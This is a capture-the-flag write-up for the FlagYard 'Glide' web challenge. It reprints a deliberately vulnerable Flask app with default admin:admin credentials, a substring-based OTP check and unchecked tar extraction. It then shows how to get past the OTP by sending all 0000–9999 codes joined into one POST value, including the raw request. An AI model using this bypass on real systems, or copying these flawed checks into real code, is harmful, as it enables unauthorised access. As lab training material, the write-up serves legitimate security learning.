Published on

FlagYard - Glide - Web

Authors

Solution

Here is the source code of the challenge :

from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os
import random
import string
import time
import tarfile
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.secret_key = "secretkeyplaceheolder"

def generate_otp():
    otp = ''.join(random.choices(string.digits, k=4))
    return otp

if not os.path.exists('uploads'):
   os.makedirs('uploads')

@app.route('/', methods=['GET', 'POST'])
def main():
    if 'username' not in session or 'otp_validated' not in session:
        return redirect(url_for('login'))

    if request.method == 'POST':
        uploaded_file = request.files['file']
        if uploaded_file.filename != '':
            filename = secure_filename(uploaded_file.filename)
            file_path = os.path.join('uploads', filename)
            uploaded_file.save(file_path)
            session['file_path'] = file_path
            return redirect(url_for('extract'))
        else:
            return render_template('index.html', message='No file selected')
    
    return render_template('index.html', message='')

@app.route('/extract')
def extract():
    if 'file_path' not in session:
        return redirect(url_for('login'))

    file_path = session['file_path']
    output_dir = 'uploads'
    if not tarfile.is_tarfile(file_path):
        os.remove(file_path)
        return render_template('extract.html', message='The uploaded file is not a valid tar archive')

    with tarfile.open(file_path, 'r') as tar_ref:
        tar_ref.extractall(output_dir)
        os.remove(file_path)

    return render_template('extract.html', files=os.listdir(output_dir))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username == 'admin' and password == 'admin':
            session['username'] = username
            return redirect(url_for('otp'))
        else:
            return render_template('login.html', message='Invalid username or password')
    return render_template('login.html', message='')

@app.route('/otp', methods=['GET', 'POST'])
def otp():
    if 'username' not in session:
        return redirect(url_for('login'))

    if request.method == 'POST':
        otp,_otp = generate_otp(),request.form['otp']
        if otp in _otp:
            session['otp_validated'] = True
            return redirect(url_for('main'))
        else:
            time.sleep(10) # please don't bruteforce my OTP
            return render_template('otp.html', message='Invalid OTP')
    return render_template('otp.html', message='')

@app.route('/logout')
def logout():
    session.pop('username', None)
    session.pop('otp_validated', None)
    session.pop('file_path', None)
    return redirect(url_for('login'))


@app.route('/uploads/<path:filename>')
def uploaded_file(filename):
    uploads_path = os.path.join(app.root_path, 'uploads')
    return send_from_directory(uploads_path, filename)

if __name__ == '__main__':
    app.run(debug=True)

From the code we can see that there is a login page, which is using admin:admin as default credentials to login.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username == 'admin' and password == 'admin':
            session['username'] = username
            return redirect(url_for('otp'))
        else:
            return render_template('login.html', message='Invalid username or password')
    return render_template('login.html', message='')

But the problem is that there is a otp. We have to find a way to bypass it.

@app.route('/otp', methods=['GET', 'POST'])
def otp():
    if 'username' not in session:
        return redirect(url_for('login'))

    if request.method == 'POST':
        otp,_otp = generate_otp(),request.form['otp']
        if otp in _otp:
            session['otp_validated'] = True
            return redirect(url_for('main'))
        else:
            time.sleep(10) # please don't bruteforce my OTP
            return render_template('otp.html', message='Invalid OTP')
    return render_template('otp.html', message='')

note the logic for otp validation :

if otp in _otp:

Here the validation has a flaw. It will validate an otp if its a part of a big string of numbers. For example suppose if otp was 4689 , if the user enters 153424689 the system will still authenticate the user as the otp is still a part of the string entered by the user. To confirm our suspision we write our own script :

import random
import string

def generate_otp():
	otp = ''.join(random.choices(string.digits, k=4))
	return otp

otp = generate_otp()
print(otp)
_otp = input("Enter your otp: ")
if otp in _otp:
	print("Validated")
else:
	pass

When we run the code :

(env) ╭─asif@Asifs-Air ~/Downloads/glide_handout/test
╰─$ python3 exploit.py
7614
Enter your otp: xx7614xx
Validated

This means that we can send one big string that contains a lot of combinations to bruteforce the otp bypassing the sleep(10) statement.

We download a 4 digit otp wordlist from https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/4-digits-0000-9999.txt

We write the code to make it into one big string.

with open('numbers.txt') as f: result = ''.join(line.strip() for line in f)
print(result)

We copy the result and send it in POST request:

POST /otp HTTP/1.1
Host: a6603d458ac3b64b4b3cf.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 40004
Origin: null
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1731488958.51.1.1731488961.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1953399384.1731428462; session=eyJ1c2VybmFtZSI6ImFkbWluIn0.ZzR-rQ.dOvhifz9k4-FJyrPvgB-YQ6BiQE
Upgrade-Insecure-Requests: 1
Priority: u=0, i

otp=000000010002000300040005000600070008000900100011001200130014001500160017001800190020002100220023002400250026002700280029003000310032003300340035003600370038

We successfully login.